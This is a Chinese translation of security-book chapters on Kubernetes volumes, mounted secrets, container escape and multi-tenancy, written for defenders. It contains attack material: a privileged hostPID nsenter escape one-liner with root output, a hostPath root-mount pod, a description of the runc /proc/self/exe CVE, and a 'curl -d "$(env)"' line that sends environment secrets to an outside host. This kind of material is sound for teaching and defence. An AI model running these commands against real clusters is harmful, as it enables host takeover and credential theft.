Kubernetes 允许我们挂载各种不同类型的存储卷,但是对于最终用户来说,存储卷的抽象是透明的。由于存储卷与内核的协议,对于用户来说,每个存储卷都表现为一个文件系统。

容器卷与挂载

当容器启动时,容器运行时将文件系统挂载到其挂载命名空间中,如 Docker 中所示:

$ docker run -it sublimino/hack df -h
Filesystem             Size  Used Avail Use% Mounted on
overlay                907G  532G  329G  62% /
tmpfs                   64M     0   64M   0% /dev
shm                     64M     0   64M   0% /dev/shm
/dev/mapper/tank-root  907G  532G  329G  62% /etc/hosts
tmpfs                   32G     0   32G   0% /proc/asound
tmpfs                   32G     0   32G   0% /proc/acpi
tmpfs                   32G     0   32G   0% /sys/firmware

注意,Docker 看起来会挂载主机的 /etc/hosts 文件,而这种情况下是设备映射器的“特殊文件”。还有特殊的文件系统,包括 /dev/mapper/ 设备映射器。还有更多,包括 procsysfsudevcgroup2 等。

OverlayFS

如图 6-3 所示的 OverlayFS 通过组合多个只读挂载点创建单个文件系统。为了向文件系统写回,它使用一个“写时复制”层,该层位于其他层之上。这使得它对容器特别有用,但也适用于可引导的“Live CD”(可用于运行 Linux)和其他只读应用程序。

storage-overlay-fs-diagram

图 6-3. OverlayFS(来源:内核 OverlayFS

容器文件系统的根由 OverlayFS 提供,我们可以看到它泄漏了主机的磁盘元数据,并显示了磁盘的大小和使用情况。我们可以通过将 //etc/hosts 目录传递给 df 来比较行:

$ docker run -it sublimino/hack df -h / /etc/hosts
Filesystem             Size  Used Avail Use% Mounted on
overlay                907G  543G  319G  64% /
/dev/mapper/tank-root  907G  543G  319G  64% /etc/hosts

Podman 也是如此,尽管它从不同的文件系统挂载了 /etc/hosts(请注意这使用了 sudo,而不是无根):

$ sudo podman run -it docker.io/sublimino/hack:latest df -h / /etc/hosts
Filesystem      Size  Used Avail Use% Mounted on
overlay         907G  543G  318G  64% /
tmpfs           6.3G  3.4M  6.3G   1% /etc/hosts

值得注意的是,无根 Podman 使用用户空间文件系统 fuse-overlayfs 来配置文件系统时避免请求根权限。这限制了文件系统代码中的错误影响,因为它不是由根用户拥有,所以不是特权升级的潜在途径:

$ podman run -it docker.io/sublimino/hack:latest df -h / /etc/hosts
Filesystem      Size  Used Avail Use% Mounted on
fuse-overlayfs  907G  543G  318G  64% /
tmpfs           6.3G  3.4M  6.3G   1% /etc/hosts

如果卷持久化数据,最终必须将其映射到一个或多个物理磁盘上。这为什么重要?因为这留下了攻击者可以追溯到主机的痕迹。如果与该卷交互的任何软件存在错误或配置错误,主机可能会受到攻击。

captain

Captain Hashjack 可能会尝试将脚本或二进制文件放入卷中,然后导致主机在不同的进程命名空间中执行它。或者尝试写入一个符号链接,该符号链接在主机的挂载命名空间中读取和解析时指向合法文件。如果攻击者提供的输入可以在不同的命名空间中“上下文外”运行,则可能破坏容器隔离。

容器为我们提供了一种软件定义的隔离,使我们产生与主机隔离的错觉,但卷是一个显而易见的抽象泄漏的地方。磁盘在历史上容易出错且难以处理。主机文件系统上的磁盘设备并未通过容器运行时真正隐藏在容器化进程之外。相反,挂载命名空间调用了 pivot_root,我们正在操作主机文件系统的一个子集。

从攻击者的角度来看,看到主机的磁盘在 /dev/mapper/tank-root 上提醒我们探索可见的地平线并深入探索。

tmpfs

文件系统允许客户端读取或写入数据。但当被告知写入数据时,它不一定要写入数据,或者甚至持久化该数据。文件系统可以随心所欲地做任何事情。

通常文件系统的数据会存储在物理磁盘或磁盘集合上。在某些情况下,如临时文件系统 tmpfs,所有数据都在内存中,数据根本不会永久存储。

注意

tmpfs取代了ramfs成为 Linux 首选的临时文件系统。它通过在内存中创建一个虚拟文件系统,使主机内存的预分配部分可用于文件系统操作。这对于脚本和数据密集型文件系统进程可能特别有用。

容器使用tmpfs文件系统来隐藏主机文件系统路径。这被称为“掩盖”,即隐藏路径或文件对用户来说。

Kubernetes 也使用tmpfs将配置注入到容器中。这是“12 因素应用”原则:配置不应该在容器内部;它应该在运行时添加,以期望在不同环境中有所不同。

与所有文件系统挂载一样,主机上的 root 用户可以看到一切。它需要能够调试机器,因此这是一个通常且预期的安全边界。

Kubernetes 可以将 Secret 文件挂载到各个容器中,并使用tmpfs来实现。每个容器 Secret,如服务帐户令牌,都有一个从主机到包含 Secret 的容器的tmpfs挂载。

其他挂载命名空间将 Secrets 与其他容器隔离,但由于主机创建和管理所有这些文件系统,主机 root 用户可以读取由kubelet为其托管的 pod 挂载的所有 Secrets。

作为主机上的 root 用户,我们可以使用mount命令查看主机上运行的 pod 所挂载的所有 Secrets:

$ mount | grep secret
tmpfs on /var/lib/kubelet/.../kubernetes.io~secret/myapp-token-mwvw2 type tmpfs (rw,relatime)
tmpfs on /var/lib/kubelet/.../kubernetes.io~secret/myapp-token-mwvw2 type tmpfs (rw,relatime)
...

每个挂载点都是一个独立的文件系统,因此 Secrets 被存储在每个文件系统中的文件中。这利用了 Linux 权限模型来确保机密性。只有容器中的进程被授权读取挂载到其中的 Secrets,而且像往常一样,root 是全知全能的,可以看到并做几乎任何事情:

gke-unmarred-poverties-2-default-pool-c838da77-kj28 ~ # ls -lasp \
    /var/lib/kubelet/pods/.../volumes/kubernetes.io~secret/default-token-w95s7/
total 4
0 drwxrwxrwt 3 root root  140 Feb 20 14:30 ./
4 drwxr-xr-x 3 root root 4096 Feb 20 14:30 ../
0 drwxr-xr-x 2 root root  100 Feb 20 14:30 ..2021_02_20_14_30_16.258880519/
0 lrwxrwxrwx 1 root root   31 Feb 20 14:30 ..data -> ..2021_02_20_14_30_16.258880519/
0 lrwxrwxrwx 1 root root   13 Feb 20 14:30 ca.crt -> ..data/ca.crt
0 lrwxrwxrwx 1 root root   16 Feb 20 14:30 namespace -> ..data/namespace
0 lrwxrwxrwx 1 root root   12 Feb 20 14:30 token -> ..data/token

卷挂载破坏容器隔离性

我们认为任何引入到容器中的外部内容,或者任何安全控制的放松,都会增加容器安全性的风险。挂载命名空间经常用于将只读文件系统挂载到 pod 中,出于安全考虑,应尽可能始终保持只读。

如果将 Docker 服务器的客户端面向的套接字挂载到容器中作为读写,那么容器就能够使用 Docker 客户端在同一主机上启动一个新的特权容器。

特权模式移除了所有安全功能,并共享主机的命名空间和设备。因此,在特权容器中的攻击者现在能够打破容器的限制。

最简单的方法是使用命名空间操作工具nsenter,它将进入现有的命名空间,或在全新的命名空间中启动一个进程。

这个命令与docker exec非常相似:它将当前或新的进程移动到指定的命名空间或多个命名空间中。这样做的效果是在不同的命名空间环境之间传输 shell 会话的用户。

注意

nsenter 被视为调试工具,避免进入 cgroups 以逃避资源限制。Kubernetes 和 docker exec 遵守这些限制,因为资源耗尽可能会 DOS 整个节点服务器。

在这里,我们将在 PID 1 的挂载命名空间中启动 Bash。理解从主机挂载到容器中的 /proc 文件系统至关重要。从主机挂载到容器的任何内容都可能给我们攻击的机会:

$ nsenter --mount=/proc/1/ns/mnt /bin/bash

这条命令在 PID 1 的挂载命名空间中启动 Bash。如果省略命令,则默认使用 /bin/sh

如果调用进程位于具有自己挂载命名空间的容器中,则此命令在相同的容器命名空间中启动 Bash,而不是主机的命名空间。

然而,如果调用进程共享主机的 PID 命名空间,则此命令将利用 /proc/1/ns/mnt 链接。共享主机的 PID 命名空间将显示主机的 /proc 在容器的 /proc 中,显示与目标命名空间中以前相同的进程以及每个其他进程的附加进程。

Duffie CooleyIan Coldwater 第一次见面时联合编写了标志性的攻击性 Kubernetes 一行代码(见 图 6-4)。

haku 0604

图 6-4. Duffie Cooley 的强大巫术,使用 nsenter 在允许特权容器和 hostPID 的 Kubernetes 集群中逃逸容器

让我们仔细看看:

$ kubectl run r00t --restart=Never \
  -ti --rm --image lol \
  --overrides '{"spec":{"hostPID": true, \
  "containers":[{"name":"1","image":"alpine",\
  "command":["nsenter","--mount=/proc/1/ns/mnt","--",\
  "/bin/bash"],"stdin": true,"tty":true,\
  "securityContext":{"privileged":true}}]}}' ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)

r00t / # id ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),...

r00t / # ps faux ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)
USER     PID %CPU %MEM  VSZ  RSS TTY   STAT START  TIME COMMAND
root       2  0.0  0.0    0    0 ?     S    03:50  0:00 [kthreadd]
root       3  0.0  0.0    0    0 ?     I<   03:50  0:00  \_ [rcu_gp]
root       4  0.0  0.0    0    0 ?     I<   03:50  0:00  \_ [rcu_par_gp]
root       6  0.0  0.0    0    0 ?     I<   03:50  0:00  \_ [kworker/0:0H-kblockd]
root       9  0.0  0.0    0    0 ?     I<   03:50  0:00  \_ [mm_percpu_wq]
root      10  0.0  0.0    0    0 ?     S    03:50  0:00  \_ [ksoftirqd/0]
root      11  0.2  0.0    0    0 ?     I    03:50  1:11  \_ [rcu_sched]
root      12  0.0  0.0    0    0 ?     S    03:50  0:00  \_ [migration/0]

1

运行 nsenter 的一行命令。

2

检查进程命名空间中的 root 权限。

3

检查内核 PID 以验证我们是否在根命名空间中。

形式 nsenter --all --target ${TARGET_PID} 用于进入进程的所有命名空间,类似于 docker exec

这与从主机挂载的卷不同:

apiVersion: v1
kind: Pod
metadata:
  name: redis
spec:
  containers:
  - name: redis
    image: redis
    volumeMounts:
    - name: redis-storage
      mountPath: /data/redis
  volumes:
  - name: redis-storage
    hostPath:
     path: /
  nodeName: master

redis 卷将主机的磁盘挂载到容器中,但不在相同的进程命名空间中,因此无法影响从该磁盘启动的应用程序实例(如 sshdsystemdkubelet)。它可以更改配置(包括 crontab/etc/shadowsshsystemd 单元文件),但不能发信号让进程重新启动。这意味着等待事件(如重新启动或守护进程重新加载)来触发恶意代码、反向 shell 或植入物。

让我们继续讨论一个特殊情况下的文件系统漏洞。

/proc/self/exe CVE

容器内部的文件系统创建在主机的文件系统上,因此无论多么小,仍然存在一定的逃逸可能性。

这种情况可能出现在容器运行时存在漏洞或对与内核交互方式的错误假设时。例如,如果未正确处理链接或文件描述符,则可能存在发送恶意输入的机会,从而导致容器逃逸。

其中一个错误的假设源于对/proc/self/exe的使用,CVE-2019-5736 能够突破并影响主机文件系统。每个进程命名空间在/proc虚拟文件系统中都有这个伪文件挂载。它指向当前正在运行的进程(self)启动的位置。在这种情况下,它被重新配置为指向主机文件系统,并随后用于获取主机的 root 权限。

注意

CVE-2019-5736 是runc/proc/self/exe漏洞,在runc 1.0-rc6 及之前版本中存在(被 Docker、Podman、Kubernetes、CRI-O 和containerd使用)。攻击者可以通过利用在这些类型的容器中以 root 身份执行命令的能力,覆盖主机的runc二进制文件(从而获取主机 root 访问权限)。这是因为与/proc/self/exe相关的文件描述符处理不当。

符号链接self指向clone系统调用的父进程。所以首先runc运行了clone,然后在容器内部,子进程执行了execve系统调用。该符号链接错误地被创建为指向父进程的self而不是子进程。关于此问题在LWN.net上有更多背景信息。

在容器启动过程中——当容器运行时正在解压文件系统层以准备pivot_root进入其中时——这个伪文件指向容器运行时,例如runc

如果一个恶意容器镜像能够使用这个链接,它可能能够突破到主机上。其中一种方法是将容器的入口点设置为一个符号链接到/proc/self/exe,这意味着容器的本地/proc/self/exe实际上指向主机文件系统上的容器运行时。详细信息请参见图 6-5。

此外,为了完成主机升级,还需要对共享库进行攻击,但这并不复杂,一旦完成,攻击者将留在容器内部,并具有对容器外部的runc二进制文件的写访问权限。

这种攻击的一个有趣特点是,它可以完全从一个恶意镜像中执行,不需要外部输入,并且能够以 root 身份在主机上执行任何有效负载。这是一种具有云原生倾向的经典供应链攻击。它可以隐藏在一个合法的容器中,并强调了扫描已知漏洞的重要性,但同时也指出这并不能捕捉所有问题,需要入侵检测来实现完整的防御姿态。

*/proc/self/exe*突破的图示

图 6-5. /proc/self/exe突破的图示(来源:“容器逃逸汇编”
注意

显然,CVE-2019-5736 的影响并非链接的预期使用方式,而容器运行时允许容器镜像访问它的假设仅仅是未经验证的。在许多方面,这突显了安全性和测试的困难,必须考虑恶意输入、边缘情况和意外代码路径。这个漏洞是由关注安全性的核心 runc 开发人员 Aleksa Sarai 发现的,之前没有证据表明它在野外被利用过。

静态敏感信息

在接下来的章节中,我们讨论静态敏感信息,特别是密钥管理。在 Kubernetes 中,Secrets 默认以未加密的方式存储在 etcd 中,并可以通过卷或环境变量在 pod 的上下文中使用。

挂载的 Secrets

运行在工作节点上的 kubelet 负责将卷挂载到 pod 中。这些卷包含明文 Secrets,它们在运行时被挂载到 pod 中使用。Secrets 用于与其他系统组件交互,包括用于服务账户 Secrets 的 Kubernetes API 授权,或用于外部服务的凭据。

注意

Kubernetes v1.21 引入了不可变的 ConfigMaps 和 Secrets,在创建后无法更改:

apiVersion: v1
kind: Secret
# ...
data:
  ca.crt: LS0tLS1CRUdAcCE55B1e55ed...
  namespace: ZGVmYXVsdA==
  token: ZXlKaGJHY2lPC0DeB1e3d...
immutable: true

更新配置或密钥必须通过创建新的密钥,然后创建引用它的新 pod 来完成。

如果黑客能够 compromise 工作节点并获得 root 权限,他们可以读取这些 Secrets 和主机上每个 pod 的每个 Secret。这意味着节点上的 root 用户与其运行的所有工作负载一样强大,因为它可以访问它们的所有身份。

这些标准服务账户令牌是有限的 JSON Web 令牌(JWTs),永不过期,因此没有自动轮换机制。

攻击者想要窃取您的服务账户令牌,以获得对工作负载和数据的更深入访问。服务账户令牌应定期轮换(通过从 Kubernetes Secrets API 中删除它们,其中一个控制器会注意到并重新生成它们)。

更有效的流程是绑定的服务账户令牌,它们通过完整的 JWT 实现扩展了标准服务账户令牌,用于过期和受众。绑定的服务账户令牌由 kubelet 请求,并由 API 服务器发放。

注意

绑定的服务账户令牌 可以被应用程序以与标准服务账户令牌相同的方式使用,用于验证工作负载的身份。

NodeAuthorizer 确保 kubelet 仅为其应该运行的 pod 请求令牌,以减轻被盗 kubelet 凭据的风险。绑定令牌的权限降低了受损范围和利用时间窗口。

攻击挂载的 Secrets

Kubernetes 提权的一种流行机制是服务账户滥用。当 Captain Hashjack 获得对 pod 的远程访问时,他们首先会检查服务账户令牌。如果挂载了服务账户令牌,则可以使用 selfsubjectaccessreviews.authorization.k8s.ioselfsubjectrulesreviews API 枚举可用权限(kubectl auth can-i --list 将显示哪些权限可用)。

或者,如果我们可以拉取二进制文件,rakkess 展示了一个更好的视图。这里是一个过度权限的服务账户:

$ rakkess ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
NAME                                             LIST  CREATE  UPDATE DELETE
apiservices.apiregistration.k8s.io                ✔      ✔      ✔     ✔
...
secrets                                           ✔      ✔      ✔     ✔
selfsubjectaccessreviews.authorization.k8s.io                           ✔
selfsubjectrulesreviews.authorization.k8s.io                            ✔
serviceaccounts                                   ✔      ✔      ✔     ✔
services                                          ✔      ✔      ✔     ✔
...
volumesnapshotcontents.snapshot.storage.k8s.io    ✔      ✔      ✔     ✔
volumesnapshots.snapshot.storage.k8s.io           ✔      ✔      ✔     ✔

1

rakkess 具有一些扩展选项。要检索所有操作,请使用 rakkess --verbs create,get,list,watch,update,patch,delete,deletecollection

这不是一个漏洞,而是 Kubernetes 身份工作的方式。但未绑定服务账户令牌的缺乏到期是一个严重的风险。 Kubernetes API 服务器不应该对任何不直接需要它的客户端开放。这包括 pod,如果它们不与 API 通信,则应该通过网络策略进行防火墙设置。

与 API 服务器交互的操作者必须始终具有网络路由和身份(即,他们的服务账户可用于识别它们与 Kubernetes,以及可能其他系统)。这意味着它们需要特别关注,以确保其权限不会过大,并考虑系统对抗妥协的能力。

存储概念

在本节中,我们审查 Kubernetes 的 存储 概念,安全最佳实践和攻击。

容器存储接口

容器存储接口(CSI)使用卷将 pod 和外部或虚拟存储系统集成起来。

CSI 允许许多类型的存储与 Kubernetes 集成,并包含用于公开卷中数据的大多数流行块和文件存储系统的驱动程序。这些包括来自托管服务的块和弹性存储,开源分布式文件系统如 Ceph,专用硬件和网络附加存储,以及一系列其他第三方驱动程序。

在这些插件的内部,“传播”挂载的卷,意味着在一个 pod 中分享它们的容器之间,甚至将容器内部的更改传播回主机。当主机的文件系统反映了容器挂载的卷时,这被称为“双向挂载传播”。

投射卷

Kubernetes 提供了除了标准 Linux 提供的特殊卷类型。这些用于将数据从 API 服务器或 kubelet 挂载到 pod 中。例如,要将容器或 pod 元数据 投射到卷中

这里是一个简单的示例,将 Secret 对象投射到投射卷中,以便 test-projected-volume 容器轻松使用,并在卷上设置文件创建的权限:

apiVersion: v1
kind: Pod
metadata:
  name: test-projected-volume
spec:
  containers:
  - name: test-projected-volume
    image: busybox
    args:
    - sleep
    - "86400"
    volumeMounts:
    - name: all-in-one
      mountPath: "/projected-volume"
      readOnly: true
  volumes:
  - name: all-in-one
    projected:
      sources:
      - secret:
          name: user
          items:
            - key: user
              path: my-group/my-username
              mode: 511
      - secret:
          name: pass
          items:
            - key: pass
              path: my-group/my-username
              mode: 511

投影卷从与 pod 相同的命名空间中获取现有数据,并更容易地在容器内访问。卷类型列在表 6-1 中。

表 6-1. Kubernetes 卷类型

卷类型 描述
Secret Kubernetes API 服务器 Secret 对象
downwardAPI 从 pod 或其节点配置(例如,元数据包括标签和注释、限制和请求、pod 和主机 IP,以及服务账户和节点名称)获取的配置元素
ConfigMap Kubernetes API 服务器 ConfigMap 对象
serviceAccountToken Kubernetes API 服务器 serviceAccountToken

这还可用于更改服务账户 Secret 的位置,使用 TokenRequestProjection 功能,防止 kubectl 及其客户端自动发现服务账户令牌。例如,将文件隐藏在不同位置,这不应被视为安全边界,而是使攻击者生活更加困难的一种简单方法:

apiVersion: v1
kind: Pod
metadata:
  name: sa-token-test
spec:
  containers:
  - name: container-test
    image: busybox
    volumeMounts:
    - name: token-vol
      mountPath: "/service-account"
      readOnly: true
  volumes:
  - name: token-vol
    projected:
      sources:
      - serviceAccountToken:
          audience: api
          expirationSeconds: 3600
          path: token

每个挂载到 pod 中的卷对攻击者都具有兴趣。它可能包含他们想要窃取或外泄的数据,包括:

  • 用户数据和密码

  • 个人可识别信息

  • 应用程序的秘密配方

  • 对其所有者具有财务价值的任何内容

现在让我们看看如何攻击卷。

攻击卷

在容器中的无状态应用程序不会将数据持久化在容器内:它们从其他服务(应用程序、数据库或挂载的文件系统)接收或请求信息。控制 pod 或容器的攻击者实际上在冒充它,并可以使用挂载为 Kubernetes Secrets 的凭据从其他服务中窃取数据。

挂载在/var/run/secrets/kubernetes.io/serviceaccount的服务账户令牌是容器的身份:

bash-4.3# mount | grep secrets
tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)

每个部署的 pod 实例默认都挂载一个服务账户令牌,这使其成为一种相当通用的身份形式。它也可能被挂载到其他 pod 及其副本中。GCP 的工作负载身份将其称为“工作负载身份池”,可以视为一种角色。

因为攻击者在 pod 中,他们可以恶意发出平凡的网络请求,使用服务账户凭证来授权云 IAM 服务。这可以访问 SQL、热和冷存储、机器映像、备份和其他云存储系统。

运行容器网络进程的用户应具备最低特权权限。容器的攻击面(通常是其网络接口)存在漏洞,使攻击者仅能控制该进程的初始控制。

在容器内部升级权限可能涉及对敌人的难以捉摸的攻击和戏耍,对攻击者如同 Dread Pirate Hashjack 等人来说,这是另一个安全麻烦。如果他们坚持不懈,他们将无法进一步渗透,并且可能需要在网络中停留更长的时间,增加被检测到的可能性。

在这个示例中,Pod 在 /cache 处有一个挂载的卷,它受到像所有其他 Linux 文件一样的自主访问控制(DAC)保护。

警告

在挂载文件系统中上下文外符号链接解析是数据外泄的常见途径,如在这个 Hackerone 漏洞悬赏 中展示的 kubelet 以 root 身份从 /logs 服务器端点中的 /var/log 跟随符号链接。

hostMount 的实际应用:

# df
Filesystem           1K-blocks      Used Available Use% Mounted on
overlay               98868448   5276296  93575768   5% /
tmpfs                    65536         0     65536   0% /dev
tmpfs                  7373144         0   7373144   0% /sys/fs/cgroup
/dev/sda1             98868448   5276296  93575768   5% /cache

挂载在卷上的文件系统:

# ls -lap /cache/
total 16
drwxrwxrwx    4 root     root          4096 Feb 25 21:48 ./
drwxr-xr-x    1 root     root          4096 Feb 25 21:46 ../
drwxrwxrwx    2 app-user app-user      4096 Feb 25 21:48 .tmp/
drwxr-xr-x    2 root     root          4096 Feb 25 21:47 hft/

在这里,拥有容器主进程的应用用户可以将临时文件(如处理工件)写入挂载点,但只能读取 hft/ 目录中的数据。如果受损用户可以写入 hft/ 目录,他们可以为卷的其他用户植入缓存毒药。如果容器正在执行来自该分区的文件,共享卷上的后门允许攻击者在执行它的所有卷用户之间移动。

在这种情况下,根用户拥有 hft/,因此攻击者必须进一步工作才能在容器内部成为 root,所以这种攻击是不可能的。

注意

容器通常只执行其镜像中捆绑的应用程序,以支持确定性和容器镜像扫描的原则。执行不受信任或未知代码,例如 curl x.cp | bash 是不明智的。类似地,应在执行之前验证来自挂载卷或远程位置的二进制文件的校验和。

数据的安全性依赖于文件系统权限。如果容器维护者没有正确设置文件系统或用户,可能会有一种方式让攻击者访问它。setuid 二进制文件是提升特权的传统途径,在容器内部不应该需要它们:特权操作应该由初始化容器处理。

但是,如果攻击者无法通过挂载卷访问目标 Pod,他们可能会使用窃取的服务账号凭据将卷挂载到恶意 Pod 上。在这种情况下,攻击者有权限部署到一个命名空间,因此准入控制器是防止凭据被窃取的最后防线。防止使用 root 权限的 Pod 可以帮助维护共享卷、Pod 内或从主机或网络挂载的进程和设备的安全性。

Pod 中的 root 访问是麻烦的入口。通过在 Dockerfile 中降级为非特权用户,可以防止许多攻击。

根用户是全知的,流氓的生存理由。

主机挂载的危险性

正如 2019 年 Aqua 博客文章 所指出的:

Kubernetes 有许多移动部件,有时将它们以某些方式组合可能会产生意想不到的安全缺陷。在本文中,您将看到一个作为 root 运行的容器,通过挂载到节点的 /var/log 目录,可以向任何有权访问其日志的用户暴露其主机文件系统的全部内容。

例如,一个 pod 可能将主机的文件系统目录挂载到容器中,例如 /var/log。子目录的使用并不能防止容器移动到该目录之外。符号链接可以引用同一文件系统上的任何位置,因此攻击者可以使用符号链接探索他们具有写访问权限的任何文件系统。

容器安全系统将阻止这种攻击,但普通的 Kubernetes 仍然容易受到攻击。

kube-pod-escape 中的漏洞展示了如何通过可写的 hostPath 挂载点(位于 /var/log)逃逸到主机。具有对主机的写访问权限的攻击者可以通过向 /etc/kubernetes/manifests/ 写入恶意清单来使 kubelet 创建新的 pod。

其他秘密和从数据存储中导出

Pod 还注入了其他形式的标识,包括 SSH 和 GPG 密钥、Kerberos 和 Vault 令牌、临时凭证以及其他敏感信息。这些由 kubelet 暴露到 pod 中作为文件系统挂载或环境变量。

环境变量是继承的,并对由同一用户拥有的其他进程可见。env 命令可以轻松地将它们导出,并且攻击者可以轻松地导出它们:curl -d "$(env)" https://hookb.in/swag

虽然已挂载的文件仍然可以相对容易地导出,但通过文件系统权限,这些文件被读取的难度会稍微增加。在一个必须读取其所有本身秘密的单一非特权用户的情况下,这可能不太相关,但在一个 pod 中容器之间共享卷的情况下,这就变得重要了。

准入控制策略(参见 “运行时策略”)可以完全阻止主机挂载,或者强制只读挂载路径。

我们将在 第七章 中更详细地讨论这个主题。

结论

卷宗保存数字企业最宝贵的资产:数据。它可以索取丰厚的赎金。通过使用强化的构建和部署模式,阻止哈什杰克船长使用窃取的凭证访问数据。假设一切都会被妥协,使用工作负载标识来限定云集成到容器中,并为专用服务帐户分配有限的云访问权限,这会让攻击者的生活更加困难。

在静态数据(在 etcd 和在消耗它的 pod 的上下文中)上加密数据可以保护免受攻击者侵害,当然,面向网络并挂载有价值数据的 pod 是最高影响目标。

第七章:严格多租户

安全地共享 Kubernetes 集群是困难的。默认情况下,Kubernetes 没有配置为托管多个租户,并且需要进行工作以使其安全。 “安全”意味着应该在隔离的租户之间公平分割,并且他们不应该能够看到彼此,也不应该能够破坏共享资源。

每个租户可以运行他们自己选择的工作负载,限制在他们自己的一组命名空间中。命名空间配置中的安全设置与集群对外部和云服务的访问组合定义了租户如何安全分离。

集群中的每个租户都可以被视为友好或敌对,并且集群管理员部署适当的控制措施,以确保其他租户和集群组件免受伤害。这些控制措施的级别是根据系统的威胁模型预期的租户类型设置的。

注意

一个租户是集群的客户。他们可以是一个团队,测试或生产环境,托管工具,或者任何资源的逻辑分组。

在本章中,您将航行在 Kubernetes 多租户的鲨鱼密布的水域中,并且它们的命名空间“安全边界”。我们检查了控制平面的锁定技术,比较了工作负载及其载货的数据分类,并探讨了如何监控我们的资源。

默认值

命名空间存在于组资源的群组,并且 Kubernetes 没有固有的命名空间租户模型。命名空间租户概念仅适用于 Kubernetes API 内部的交互,而不适用于整个集群。

默认情况下,跨租户可见性未受网络、DNS 和一些命名空间策略的保护,除非集群通过特定配置进行了硬化,我们将在本章中详细讨论。

一个谨慎的防御者将租户应用程序分隔成多个命名空间,以更清晰地划分每个服务帐户的 RBAC 权限,并使理解和部署网络策略、配额和限制以及其他安全工具变得更容易。由于命名空间绑定的策略和资源,您应只允许一个租户使用每个命名空间。

提示

一个租户可以是一个单独的应用程序,一个被分成多个命名空间的复杂应用程序,其开发所需的测试环境,一个项目,或者任何信任边界。

威胁模型

Kubernetes 多租户工作组考虑了两类多租户:

  • 软多租户更易于租户使用,并允许更大的配置。

  • 严格多租户旨在“默认情况下安全”,具有预配置和不可变的安全设置。

软多租户是一种友好的、更宽松的安全模型。它假设租户部分受信任,并关心集群的最佳利益,并允许他们配置自己命名空间的部分。

硬多租户已锁定,并假设租户是敌对的。多个控制措施降低了攻击者的机会:工作负载隔离、入场控制、网络策略、安全监控和入侵检测系统(IDS)在平台上配置,租户只执行受限的操作集。这种严格配置的代价是租户可用性的牺牲。

我们的威胁模型专注于强硬的多租户,以加强对我们的宿敌、数字海洋之恶棍海盗哈希杰克船长的每一个可能防御。

命名空间资源

在我们深入讨论硬和软多租户之前,让我们看看如何分离资源:命名空间和节点。

提示

网络不遵循命名空间的概念:我们可以应用策略来塑造它,但从根本上说它是一个平面子网。

您的 Kubernetes RBAC 资源的可见性(在 第八章 中涵盖)要么限定于诸如 pods 或服务帐户等命名空间,要么涵盖整个集群,例如节点或持久卷。

将单个租户跨多个命名空间进行分散可以降低被窃取或被破坏的凭证的影响,并增加系统对抗妥协的抵抗力,但会增加一些操作复杂性的成本。您的团队应该能够自动化其工作,这将导致一个安全且快速补丁的系统。

注意

GitOps 运算符可能部署在专用的每个运算符命名空间中。例如,一个应用程序可能部署在命名空间 myapp-front-endmyapp-middlewaremyapp-data 中。一个特权运算符可以部署并修改这些命名空间中的应用程序,例如 myapp-gitops 命名空间,因此任何受其控制的命名空间(例如 myapp-front-end)的妥协都不会直接或间接导致特权运算符的妥协。

GitOps 部署了提交到其监控的存储库的任何内容,因此对生产资产的控制延伸到了源代码存储库。有关更多关于保护 Git 的信息,请参阅 “为 GitOps 加固 Git”

在 Kubernetes 的 RBAC 模型中,命名空间是集群范围的,因此遭受粗糙的集群级 RBAC:如果租户命名空间中的用户有权限查看自己的命名空间,则他们也可以查看集群上的所有其他命名空间。

提示

OpenShift 引入了“项目”概念,它是带有额外注释的命名空间。

API 服务器可以通过此查询告诉您哪些资源不在命名空间中(输出已编辑以适应):

$ kubectl api-resources --namespaced=false
NAME                              SHORTNAMES ... NAMESPACED   KIND
componentstatuses                 cs             false ComponentStatus
namespaces                        ns             false Namespace
nodes                             no             false Node
persistentvolumes                 pv             false PersistentVolume
...

Kubernetes 的共享 DNS 模型还暴露了其他命名空间和服务,并且是硬多租户困难的一个例子。CoreDNS 的防火墙插件可以配置为“防止某些命名空间中的 Pod 查找其他命名空间中的服务”。IP 和 DNS 地址对于调查其下一个目标的可见地平线的攻击者是有用的。

节点池

命名空间中的 Pod 可以跨越多个节点,如图 7-1 所示。如果攻击者能够从容器逃逸到底层节点,则可能能够在集群的命名空间甚至节点之间跳转。

多租户共享命名空间

图 7-1. 一个命名空间通常跨越多个节点,但是一个 Pod 实例只会在一个节点上运行。

节点池是具有相同配置的节点组,并且可以独立于其他节点池进行扩展。它们可以用于在相同节点上保持相同风险或分类的工作负载。例如,面向 Web 的应用程序应与对 Internet 流量不可访问的内部 API 和中间件工作负载分开,并且控制平面应在专用池中。这意味着在容器越界事件中,攻击者只能访问这些节点上的资源,而不能访问更敏感的工作负载或 Secrets,且在节点池之间移动不是一个简单的升级过程。

您可以使用标签和节点选择器将工作负载分配到节点池(输出已编辑):

user@host:~ [0]$ kubectl get nodes --show-labels ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
NAME          STATUS   ROLES    AGE   VERSION   LABELS
kube-node-1   Ready    master   11m   v1.22.1   beta.kubernetes.io/arch=amd64,...
kube-node-2   Ready    <none>   11m   v1.22.1   beta.kubernetes.io/arch=amd64,...
kube-node-3   Ready    <none>   11m   v1.22.1   beta.kubernetes.io/arch=amd64,...

user@host:~ [0]$ kubectl label nodes kube-node-2 \
  node-restriction.kubernetes.io/nodeclass=web-facing ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)

让我们检查一个部署,看看它的NodeSelector

apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: high-risk-workload
spec:
  replicas: 1
  template:
    spec:
      containers:
      - image: nginx/
# ...
      nodeSelector:
        node-restriction.kubernetes.io/nodeclass: web-facing ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)

1

查看应用于每个节点的标签。

2

设置节点的类别。

3

一个或多个针对节点标签的键值对,以指导调度程序。

警告

本章后面将讨论如何通过使用NodeRestriction准入插件中的众所周知标签,防止敌对kubelet重新标记自身。

